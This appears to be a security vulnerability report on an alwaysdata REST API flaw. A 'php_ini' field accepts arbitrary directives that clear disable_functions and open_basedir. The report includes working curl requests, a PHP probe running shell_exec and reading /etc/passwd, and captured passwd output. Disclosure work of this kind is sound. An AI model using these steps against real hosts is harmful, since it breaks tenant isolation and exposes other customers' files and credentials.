Security vulnerabilities

Severity: Critical
CVSS 3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Date: 2026-10-29
Status: Confirmed — 3/3 fresh reproductions, raw HTTP evidence attached
Related to:  FS#538  — independent attack vector, not a duplicate (see below)

—

## Executive Summary

The alwaysdata REST API exposes a `php_ini` field on the `/v1/site/:id/` endpoint that writes customer-controlled PHP INI directives directly into the site's PHP process configuration, with no filtering or allowlist. Setting `disable_functions=` and `open_basedir=` (both empty) clears the platform's hardened PHP sandbox entirely: `shell_exec`, `system`, `passthru`, and `exec` become available, and the PHP process can read any file on the shared host filesystem, not just its own web root.

This is independent of  FS#538  — a different field, a different mechanism, and additional impact AD-015 never covered (`open_basedir` clearing). Full differentiation below.

Live proof: `shell_exec("id")` returns `uid=559104(kdhunter2026)` — this function is disabled by default on alwaysdata; output is only possible once `disable_functions=` has taken effect.

—

## The Attacker Scenario

An attacker signs up for any alwaysdata plan (€4/month). Via the documented REST API, they set `php_ini` to `disable_functions=\nopen_basedir=`. Apache reloads within seconds. Their PHP process can now run arbitrary system commands and read any file on the shared host — including other customers' files, SSH keys, database credentials, and session data.

This bypasses the core promise of alwaysdata's PHP security model: that `disable_functions` and `open_basedir` protect customers from one another on shared hosting.

Anticipated objection — "you already have account-level access, so this isn't new": `disable_functions` and `open_basedir` don't exist to restrict the account owner — they exist to contain what happens if someone else compromises the web application running on that account through an unrelated bug (a vulnerable plugin, a file-upload flaw, an injected dependency). That attacker gets PHP execution but not the account's credentials. Before this bug: trapped in PHP, no shell, no filesystem access outside the site root. After: full shell and full filesystem read. The `php_ini` field's own name implies it was meant for ordinary user-level tuning (`memory_limit`, `upload_max_filesize`, `max_execution_time`) — accepting admin-only security directives with zero filtering is a validation gap, not an intended capability extension for account owners.

—

## Proof of Concept

### Step 1 — Inject PHP INI directives via the API

```bash
curl -s -X PATCH "https://api.alwaysdata.com/v1/site/[SITE_ID]/" \

1. u "[API_TOKEN]:" \
2. H "Content-Type: application/json" \
3. d '{

"php_ini": "auto_prepend_file=/etc/passwd\ndisable_functions=\nopen_basedir="

}'

```

Response: `HTTP 204 No Content`

Verify stored (confirms no sanitization): ```bash
curl -s "https://api.alwaysdata.com/v1/site/[SITE_ID]/" -u "[API_TOKEN]:"
# → "php_ini": "auto_prepend_file=/etc/passwd\ndisable_functions=\nopen_basedir="
```

### Step 2 — Upload a PHP probe file

```bash
cat > /home/kdhunter2026/www/probe.php « 'EOF'
<?php
echo "disable_functions: " . ini_get('disable_functions') . "\n";
echo "open_basedir: " . ini_get('open_basedir') . "\n";
echo "shell_exec: " . @shell_exec('id') . "\n";
$r = @file_get_contents('/etc/passwd');
echo "/etc/passwd: " . ($r ? "readable (" . strlen($r) . " bytes)" : "blocked") . "\n";
EOF ```

### Step 3 — Trigger via HTTP request

```bash
curl -s "https://kdhunter2026.alwaysdata.net/probe.php"
```

Live HTTP response (captured 2026-10-29T02:47:00Z): ```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
… [32 lines of /etc/passwd — 1764 bytes — prepended by auto_prepend_file]
…

PHP INI TEST

END